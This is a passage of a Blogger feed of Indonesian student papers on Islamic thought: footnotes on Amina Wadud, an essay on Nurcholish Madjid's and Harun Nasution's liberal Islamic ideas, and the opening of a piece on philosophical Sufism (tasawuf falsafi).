title=&quot;_ftn15&quot;&gt;15&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn16&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref16&quot; title=&quot;_ftn16&quot;&gt;16&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h. 79-80&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn17&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref17&quot; title=&quot;_ftn17&quot;&gt;17&lt;/a&gt;Amina, &lt;i&gt;Inside.., &lt;/i&gt;h. 50 dan 191.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn18&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref18&quot; title=&quot;_ftn18&quot;&gt;18&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h. 52-53.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn19&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref19&quot; title=&quot;_ftn19&quot;&gt;19&lt;/a&gt;Ib&lt;i&gt;i&lt;/i&gt;d, h. 48-49.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn20&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref20&quot; title=&quot;_ftn20&quot;&gt;20&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h.52.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Daftar Kepustakaan&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Wadud, Amina,&lt;i&gt; Inside the Gender Jihad, Women’s Reform in &lt;st1:place st=&quot;on&quot;&gt;&lt;st1:city st=&quot;on&quot;&gt;Islam&lt;/st1:City&gt;, &lt;st1:country-region st=&quot;on&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;England&lt;/span&gt;&lt;/st1:country-region&gt;&lt;/st1:place&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;: Oneworld Publications, 2006&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;--------, &lt;i&gt;Qur`an and Woman,&lt;/i&gt; &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;&lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Kuala Lumpur&lt;/st1:place&gt;&lt;/st1:city&gt;&lt;/st1:place&gt;&lt;/st1:City&gt;: Fajar Bakti, 1992&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;www. Google. Com, dengan kata kunci Amina Wadud dan Ummu Waraqah&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;</description><link>http://slendangwetan29.blogspot.com/2008/03/peran-wanita-menurut-aminah-wadud.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-6040129893367809097</guid><pubDate>Mon, 18 Feb 2008 17:36:00 +0000</pubDate><atom:updated>2008-02-27T17:35:34.383-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Filsafat Islam Kontemporer</category><title>Pemikiran Tokoh Islam Liberal di Indonesia; Nurcholis Masjid dan Harun Nasution</title><description>&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span&gt;NURCHOLIS MADJID&lt;/span&gt;&lt;br /&gt;&lt;span&gt;A.Sekularisasi&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Tokoh Islam liberal atau liberalisme Islam terkemuka di &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Indonesia&lt;/st1:place&gt;&lt;/st1:country-region&gt; tidak lain yakni Nurcholish Madjid. Doktor dari &lt;st1:city st=&quot;on&quot;&gt;Chicago&lt;/st1:city&gt; university ini mempelopori gerakan sekularisme di &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Indonesia&lt;/st1:place&gt;&lt;/st1:country-region&gt;. Dan sama dengan Harun Naution merupakan seorang ”pioner” dalam mengembankan Islam liberal di Indonesia.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Nurcholis madjid berpendapat sekularisasi tidaklah dimaksudkan sebagai penerapan sekularisme dan mengubah kaum muslimin menjadi sekularis. Tetapi dimaksudkan untuk menduniawikan nilai-nilai yang sudah semestinya bersifat duniawi, dan melepaskan umat Islam dari kecendrungan untuk meng-ukhrawi-kannya. Dengan demikian, kesediaan mental untuk selalu menguji dan menguji kembali kebenaraan suatu nilai dihadapkan kenyataan material, moral atapun hitoris, menjadi sifat kaum muslimin.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Sekularisme dimaksudkan untuk lebih memantapkan tugas duniawi manusia sebagai khalifa Allah di dunia. Fungsi sebagai khalifah Allah itu memberikan ruang bagi adanya kebebasan manusia untuk menetapkan dan memilih sendiri cara dan tindakan-tindakan dalam rangka perbaikan hidupnya di atas bumi ini, dan sekaligus memberikan pembenaran bagi adanya tanggung jawab manusia atas perbuatan-perbuatan itu dihadapan Tuhan.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Sekularisasi ialah pengakuan wewenang ilmu pengetahuan dan penerapanya dalam membina kehidupan duniawi. Dan terus berproses dan berkembang menuju kesempurnaannya. Paham ini adalah paham keduniawian, paham ini mengatakan bahwa kehidupan duniawi ini adalah mutlak dan terakhir. Tiada lagi kehidupan sesudahnya kita semua, yang hidup ini adalah makhluk sekuler, artinya kita sekarang masih berada di dalam alam sekuler duniawi karena belum pindah ke alam akhirat.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Perbedaan sekularisme dan sekularisasi sebagai paham dan proses. Sekularisasi tanpa sekularisme, yaitu proses penduniawian tanpa paham keduniawian, bukan saja mungkin bahwa telah terjadi dan akan terus terjadi dalam sejarah. Sekularisasi tanpa sekularisme adalah sekularisasi terbatas dan dengan koreksi. Pembatasan dan koreksi itu diberikan oleh kepercayaan akan adanya hari kemudian dan prinsip ketuhanaan.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Namun karena gempuran kritik yang begitu gencar terhadap istilah sekularisasi itupun ditinjau kembali oleh Nurcholis madjid. Dalam tulisannya, “sekularisasi ditinjau kembali” Nurcholis mengatakan terhadap perbedaan istilah “sekular” sekularisasi dan sekularisme itu, maka adalah bijaksana untuk tidak mengunakan istilah-istilah tersebut dan mengantikannya dengan istilah-istilah teknis lain yang lebih tepat dan netral.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Sebenarnya, subtansi pemikiran Nurcholis Madjid adalah ia ingin menempatkan hal-hal yang sifatnya dunia yang profan pada tempatnya dan yang sifatnya keakhiratan atau kaitannya dengan masalah teologis juga pada tempatnya. Namun tampaknya ia kesulitan dalam menemukan istilah yang tepat sehingga menimbulkan reaksi yang bertubi-tubi. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;B.Modernisasi&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Modernisasi identik dengan rasionalisasi atau hampir identik dengan rasionalisasi. Dan hal itu berarti proses perombakan pola berfikir dan tata kerja lama yang tidak akhliah, dan menggantikannya dengan pola berfikir dan tata kerja yang akliah. Modernisasi berarti berfikir dan bekerja menurut fitroh atau sunnahtullah. Sunnatullah telah mengejawantahkan dirinya dalam hukum alam, sehingga untuk dapat menjadi modern manusia harus mengerti terlebih dahulu hukum yang berlaku dalam alam itu. Pemahaman manusia terhadap hukum-hukum alam, melahirkan ilmu pengetahuan alam sehingga modern berarti ilmiah. Dan ilmu pengetahuan diperoleh manusia melalui akalnya sehingga modern berarti juga rasional. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Nurcholis mengatakan bahwa modernisasi adalah sebuah keharusan, malahan kewajiban yang mutlak. Modernisasi merupakan pelaksanaan perintah dan ajaran Tuhan Yang Maha Esa. Modern juga berarti progresif dan dinamis. Maka sekalipun bersifat modern itu merupakan suatu keharusan yang mutlak, namun kemoderenan itu sendiri relatif sifatnya, sebab terikat ruang dan waktu. Sesuatu yang sekarang ini dikatakan modern, dapat dipastikan menjadi kolot (tidak modern lagi) di masa yang akan datang. Sedangkan yang modern secara mutlak ialah Allah, pencipta seluruh alam. Jadi modernitas berada dalam suatu proses, yaitu penemuan kebenaran-kebenaran yang relatif, menuju kepeneman ang mutlak, yaitu Allah.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Hal itu berarti tidak seorang pun manusia berhak mengklaim suatu kebenaran insan sebagai suatu kebenaran yang mutlak. Dengan kata lain seorang muslim semestinya menjadi seorang yang sela bersedia menerima kebenaran-kebenranan baru dari orang lain, dengan penuh rasa tawadhu’ kepada Tuhan.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;C.Islam dan konsep negara Islam&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Menurut Nurcholis, Islam tidak identik dengan ideologi, ideologisasi Islam yang berlangsung selama ini di dalam masyarakatnya telah merelatifikasikan Islam sebagai ajaran yang universal. Ideologi sendiri sangat terikat oleh ruang dan waktu. Ia mengungkapkan bahw aideologi sosial politik Islam di masa lalu terlalu tegar dan mengabaikan ideologi dengan kondisi-kondisi setempat. Itulah sebabnya ketika ia mulai membicarakan hubungan orde baru dengan Islam. Ia menegaskan bahwa penelitian terhadap perkembangan sosial. Poloitk tidak bisa dilakukan dalam ukuran kemutlakan, tetapi harus dilihat dari kaitan nisbinya dengan hal-hal lain. Islam adalah agama kemanusiaan yang membuat cita-citanya sejajar dengan cita-cita kemanusiaan universal.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Nurcholish menekankan pemisahan antara Islam dan ideologi, menurut pandangan langsung kepada Islamsebagai ideologi bisa berakibat merandahkan agama itu menjadi setaraf dengan berbagai ideologi yang ada. Dari pemikiran itu terlontarlah suatu ungkapan yang amat terkenal yaitu Islam yes! Partai Islam no! Dari ungkapan itu tampaknya ia berpesan bahwa tidak perlu bahkan tidak wajib seseorang masuk partai Islam, yang paling penting adalah menjalankan ajaran Islam itu sendiri.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Kondisi Islam di Indonesia menurut pandangan Nurcholish mengalami suatu perembesan kultural yang sedikit agak mapan. Nilai-nilai Islam lebih bercorak budaya dalam penampilannya, ketimbang warna asli dari Islam itu sendiri. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Dalam hal kenegaraan, Nurcholish tidak sependapat dengan gagasan negara Islam bahkan ia menilai timbulnya gagasan negara islam, adalah suatu bentuk kecendrungan apologetik. Setiap apologetik itu tumbuh dari dua perkara Yaitu:&lt;/span&gt;&lt;br /&gt;&lt;span&gt;•Yang pertama apologi terhadap idiologi-idiologi barat (demokrasi, sosialisme, komunisme). Idiologi-idiologi itu sering bersifat kataliter, artinya menyeluruh dan secara mendetail meliputi setiap bidang kehidupan khsusnya politik, budaya, ekonomi, sosial dan lain-lain. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;• kedua ialah legalisme yang membawa sebagian kaum muslim kepikiran apologitis “negara Islam” itu. Legalisme ini menumbuhkan apresiasi serba legalistis kepada Islam, yang berupa pneghayatan keislaman yang menggambarkan bahwa Islam itu adalah struktur dan kumpulan hukum. Legalisme ini merupakan kelanjutan fiqihisme. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Cak Nur walaupun tidak menolak tentang Islam juga menyangkut persoalan pengurusan atas sosial, ekonomi bernegara. Namun ia memerikan tekanan lebih dalam, bahwa Islam merupakan muatan khas sebagai Al-Dien yang menitik beratkan aspek spiritual, sedangkan negara ersifat duniawi masal dengan muatan dimensi dan kolektif. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;HARUN NASUTION&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Harun Nasution lahir di Pematang Siantar, Sumatera Utara pada tahun 1919. ia bersekolah di HIS (&lt;st1:place st=&quot;on&quot;&gt;&lt;st1:placename st=&quot;on&quot;&gt;Hollandsche&lt;/st1:placename&gt; &lt;st1:placename st=&quot;on&quot;&gt;Indlansche&lt;/st1:placename&gt;  &lt;st1:placetype st=&quot;on&quot;&gt;School&lt;/st1:placetype&gt;&lt;/st1:place&gt;) dan lulus pada tahun 1934. Pada tahun 1937, lulus dari Moderne Islamietische Kweekschool. Ia melanjutkan pendidikan di Ahliyah Universitas Al-Azhar pada tahun 1940. Dan pada tahun 1952, meraih gelar sarjana muda di American University of Cairo&lt;/span&gt;&lt;br /&gt;&lt;span&gt;A. Persamaan Agama&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Harun nastion bisa dikatakan ”pioner” dalam mengembankan Islam liberal di Indonesia, sama halnya dengan Nurcholis madjid. Harun berhasil mengembangkan sayap geraknya ke IAIN seluruh &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Indonesia&lt;/st1:place&gt;&lt;/st1:country-region&gt;. Harun nasution merupakan lulusan dari McGill University Kanada, ia berhasil mempengaruhi institusi lembaga Islam setelah pada tahun 1973 bukunya yang berjudul “Islam ditinjau dari berbagai aspeknya” ditetapkan sebagai buku utama mahasiswa IAIN se-Indonesia. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Dalam bukunya Tersebut harun sudah Mulai menyerempet tentang persamaan agama. Setelah mengutip sebagian ayat al Qur’an, jelaslah bahwa agama Yahudi, Kristen, dan Islam adalah satu asal. Tetapi perkembangan masing-masing dalam sejarah mengambil jurusan yang berlainan sehingga timbul perbedaan di antara ketiga agama tersebut.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Harun di dalam bukunya hanya menjelaskan secara datar tentang pengertian agama Yahudi dan Nasrani, sehingga pembaca menjadi kurang yakin akan keunggulan agama Islam. Dia tidak mengungkapkan penelewengan-penyelewengan agama Yahudi dan Nasrani. Menurut Harun kemurnian tauhid di pelihara oleh Islam dan Yahudi, sedangkan Naasrani sudah tidak murni lagi dengan adanya konsep trinitas. Namun Yahudi sema atau syahadatnya yakni dengarlah &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Israel&lt;/st1:place&gt;&lt;/st1:country-region&gt;, Tuhan kita satu. Dan Islam yang berbunyi tiada Tuhan selain Allah.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Padahal Dalam berbagai ayat al Qur’an sudah dipaparkan secara jelas bahwa hanya Islam yang benar-benar murni ketahuhidannya. Dalam &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;surat&lt;/st1:place&gt;&lt;/st1:city&gt; at-Taubah:30&lt;/span&gt;&lt;br /&gt;&lt;span&gt;“ Orang-orang Yahudi berkata bahwa Uzair itu putra Allah dan orang Nasrani berkata bahwa Almasih itu putra Allah. Demikian itulah ucapan mereka meniru perkataan orang-orang kafir terdahulu. Dilaknati Allahlah mereka. Bagaimana mereka sampai berpaling?” &lt;/span&gt;&lt;br /&gt;&lt;span&gt;B. Sekularisme&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Bukan itu saja, Kengawuran Harun juga terlihat ketika ia memaparakan tentang tema aspek pemgaharuan dalam Islam. Paham pembaharuan atau modernisasi menurutnya mempunyai pengaruh yang besar di barat dan segera memasuki lapangan agama yang di barat dipandang sebagai penghalang bagi kemajuan. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Modernisasi dalam hidup keagamaan di barat mempunyai tujuan untuk menyesuaikan ajaran-ajaran yang terdapat dalam agama Khatolik dan Protestan dengan ilmu pengetahuan dan falsafat modern. Pembaharuan dalam Islam mempunyai tujuan yang sama, namun tidak bagi ajaran-ajaran yang bersifat mutlak. Harun berangapan sekularisme diperlukan meskipun tidak mutlak ajaran-ajaran yang dapat diubah. Karena itu tidak heran bila Harun kemudian memuji-muji tokoh-tokoh yang mengabaikan syariat seperti Rif’at Tahtawi Qasim amin dan lain-lain. Dukungan Harun terhadap sekularisme terlihat ketika ia tidak mengecam sama sekali pendapat Ali abdul Raziq yang berpendapat bahwa sistem khilafah tidak ada dalam Islam.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Harun juga membolak-balikan sejarah Islam dengan ngawur. Sultan Abdul Hamid, khilafah Islam di Turki yang dipuji oleh para ulama Islam karena berpegang teguh pada syariat Islam dan tidak mau menyerahkan Palestina kepada Yahudi dijuluki harun sebagai raja yang absolut, dan mengangap Kemal Attarurk yang menghancurkan kekhalifahan Islam bekerja sama Inggris dan barat lainnya sebagai salah satu tokoh pembaharuan. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;C. Modernisme Harun &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Pembaharuan pemikiran Islam di Indonesia bukanlah hal baru ketika Harun Nasution mengutarakan berbagai gagasan pemikirannya. Bangsa &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Indonesia&lt;/st1:place&gt;&lt;/st1:country-region&gt; merupakan salah satu gudang pemikiran Islam. Memang, perkembangan pemikiran Islam di Indonesia baru dimulai (secara massif dan aplikatif) sejak sekitar masa pergerakan nasional. Pemikiran Islam pada masa itu juga tidak lepas dari gerakan pembaharuan Islam yang ada di Timur Tengah (terutama Mesir). &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Pemikiran Islam di Indonesia berkembang cukup pesat di awal abad ke-20. Hal itu ditandai dengan lahirnya gerakan modernisme. Gerakan modernisme yang bertumpu pada Qur’an dan Sunnah berupaya untuk mengembalikan kembali umat Islam kepada sumber ajarannya yang tidak pernah usang ditelan zaman sehingga tidak perlu diperbaharui. Namun, hal ini perlu diangkat lagi ke permukaan masyarakat yang telah tertutup oleh tradisi dan adat istiadat yang tidak sesuai dengan ajaran pokok tersebut. Pada masa itu, masyarakat yang telah tertutup oleh tradisi tentu tidak tinggal diam melihat gerakan tersebut. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Reaksi itulah yang juga melahirkan gerakan yang disebut tradisionalisme. Pengusung gerakan modernisme pada saat itu antara lain adalah H.O.S. Tcokroaminoto, Agus Salim, dan Mohammad Natsir. Perubahan dari taqlid kepada ijtihad merupakan akar pemikiran Islam tersebut. Akar pemikiran itu lalu menjalar kepada pemikiran aplikatif dalam kehidupan modern. Beberapa hal yang sering menjadi bahan pembicaraan atau bahkan perdebatan adalah mengenai politik dan negara. Pada tahun 1940-an, terjadi polemik pemikiran politik Islam antara Natsir dan Soekarno.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Pembicaraan mengenai hal ini adalah sebuah respon seorang Mohammad Natsir atas pernyataan pemikiran Soekarno bahwa zaman modern menuntut pemisahan agama dan negara seperti yang dipraktekkan oleh Musthafa Kemal Attaturk Pasha di Mesir. Bahan pembicaraan lainnya adalah mengenai sistem ekonomi yang direlevansikan dengan pembinaan masyarakat menurut Islam. Pemikiran tentang hal tersebut diusung oleh Agus Salim dan Tjokroaminoto ketika mereka (pada masanya masing-masing) berhadapan dengan pihak komunis dan nasionalis. Pada umumnya, sampai pada masa konstituante tahun 1956-1959, pemikiran Islam di Indonesia berkisar pada soal-soal ibadah dan muamalah. Masalah lainnya yang juga diangkat, tidak lebih hanya karena merupakan tantangan pihak lawan yang lebih intens.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Bila kita mengamati perkembangan pemikiran Islam pada awal abad ke-20 dibandingkan pemikiran Harun, maka kita akan melihat warna berbeda dalam pemikiran Harun Nasution. Warna berbeda itu bisa dilihat dari beberapa perspektif yaitu suasana zaman, afiliasi terhadap ormas/parpol, fokus terhadap bidang akademis. Kembali kepada pembahasan paragraf sebelumnya tentang garis besar pemikiran Islam pada awal abad ke-20 sampai masa konstituante, Deliar Noer menarik beberapa kesimpulan tentang corak gerakan masa itu antara lain bahwa pemikiran kalangan Islam masa itu lebih merupakan reaksi atau respon terhadap tantangan yang ada. Ia merupakan reaksi terhadap pemikiran Barat, sekulerisme, komunisme, nasionalisme yang chauvinistis, dan sebagainya.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Selain itu, banyaknya permasalahan yang dihadapi tidak diimbangi dengan tersedianya orang-orang yang ahli dan mempunyai waktu luang sehingga bahasan dan kajian yang dilakukan terhadap salah satu topik kurang mendalam dan mengena. Warna berbeda lainnya yaitu afiliasi terhadap ormas/parpol. Kenyataan yang ada memperlihatkan bahwa para tokoh sebelumnya adalah bagian dari ormas atau parpol (entah dia pendiri atau hanya sebatas anggota dan simpatisan). Hal itu secara tidak langsung menjadi salah satu pertimbangan apakah pemikiran yang dikeluarkan tokoh tersebut adalah murni pemikirannya. Perspektif lain yang bisa memperlihatkan warna berbeda pemikiran Harun Nasution adalah fokus yang digelutinya pada bidang akademis. Artinya bahwa pemikirannya adalah sebagai suatu kajian yang bisa disampaikan bahkan dipakai sebagai kurikulum&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;DAFTAR PUSTAKA&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Madjid, Nurcholish. 1989. Islam kemoderenan dan keindonesiaan. &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Bandung&lt;/st1:place&gt;&lt;/st1:city&gt;: Mizan.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Madjid, Nurchlish.2000. Islam doktrin dan peradaban. &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Jakarta&lt;/st1:place&gt;&lt;/st1:city&gt;: Paramadina.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Nata, Abuddin. 2005. Tokoh-tokoh pembaharuan pendidikan Islam di Indonesia. &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Jakarta&lt;/st1:place&gt;&lt;/st1:city&gt;: Grafindo.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Soefudin, Didin. 2003. Pemikiran modern dan postmodern dalam Islam. &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Jakarta&lt;/st1:place&gt;&lt;/st1:city&gt;:Grafindo.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Sani, Abdul. 1998. Perkembangan modern dalam Islam. &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Jakarta&lt;/st1:place&gt;&lt;/st1:city&gt;: Grafindo.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Saridjo, Marwan. 2005. caknur diantara sarung dan dasi. &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Jakarta&lt;/st1:place&gt;&lt;/st1:city&gt;: Penamadani. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;Husaini, Adian. Hidayat, Nuim. 2002. Islam liberal. &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Jakarta&lt;/st1:place&gt;&lt;/st1:city&gt; : Gema Insani&lt;/span&gt;&lt;/p&gt;</description><link>http://slendangwetan29.blogspot.com/2008/02/pemikiran-tokoh-islam-liberal-di.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-5463507515305538630</guid><pubDate>Mon, 18 Feb 2008 17:18:00 +0000</pubDate><atom:updated>2008-05-01T09:17:03.032-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Tasawuf</category><title>Tasawuf Falsafi</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-5Zz8EijWGnL1csO_1J_phHpNI9nQX65-OZlP4a9aMm3p8tJ360N2vLOP5zxhehBP15lws5Gg9cHlupZwJwVmapySMg-mqFP7vjN2fyV7FwMI2_JQ5WU2iJHvy4D5pwtHhOhSOOgjiko/s1600-h/kekuatan.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-5Zz8EijWGnL1csO_1J_phHpNI9nQX65-OZlP4a9aMm3p8tJ360N2vLOP5zxhehBP15lws5Gg9cHlupZwJwVmapySMg-mqFP7vjN2fyV7FwMI2_JQ5WU2iJHvy4D5pwtHhOhSOOgjiko/s320/kekuatan.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5195443874746617842&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;span style=&quot;color:#ffff66;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;A.Definisi Tasawuf Falsafi&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Tasawuf Falsafi adalah sebuah konsep ajaran tasawuf yang mengenal Tuhan (ma’rifat) dengan pendekatan rasio (filsafat) hingga menuju ketinggkat yang lebih tinggi, bukan hanya mengenal Tuhan saja (ma’rifatullah) melainkan yang lebih tinggi dari itu yaitu wihdatul wujud (kesatuan wujud). Bisa juga dikatakan tasawuf filsafi yakni tasawuf yang kaya dengan pemikiran-pemikiran filsafat.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;Di dalam tasawuf falsafi metode pendekatannya sangat berbeda dengan tasawuf sunni atau tasawuf salafi. kalau tasawuf sunni dan salafi lebih menonjol kepada segi praktis (العملي ), sedangkan tasawuf falsafi menonjol kepada segi teoritis (النطري ) sehingga dalam konsep-konsep tasawuf falsafi lebih mengedepankan asas rasio dengan pendektan-pendekatan filosofis yang ini sulit diaplikasikan ke dalam kehidupan sehari-hari khususnya bagi orang awam, bahkan bisa dikatakan mustahil.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Dari adanya aliran tasawuf falsafi ini menurut saya sehingga muncullah ambiguitas-ambiguitas dalam pemahaman tentang asal mula tasawuf itu sendiri. kemudian muncul bebrapa teori yang mengungkapkan asal mula adanya ajaran tasawuf. Pertama; tasawuf itu murni dari Islam bukan dari pengaruh dari non-Islam. Kedua; tasawuf itu adalah kombinasi dari ajaran Islam dengan non-Islam seperti Nasrani, Hidu-Budha, filsafat Barat (gnotisisme). Ketiga; bahwa tasawuf itu bukan dari ajaran Islam atau pun yang lainnya melainkan independent.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;alignjustify&quot;&gt;&lt;span&gt;    Teori pertama yang mengatakan bahwa tasawuf itu murni dari Islam dengan berlandaskan QS. Qaf ayat 16 yang artinya “Telah Kami ciptakan manusia dan Kami tahuapa yang dibisikkan dirinya kepadanya. Dan Kami lebih dekat dengan manusia daripada pembuluh darah yang ada dilehernya”. Ayat ini bukan hanya sebagai bukti atau dasar bahwa 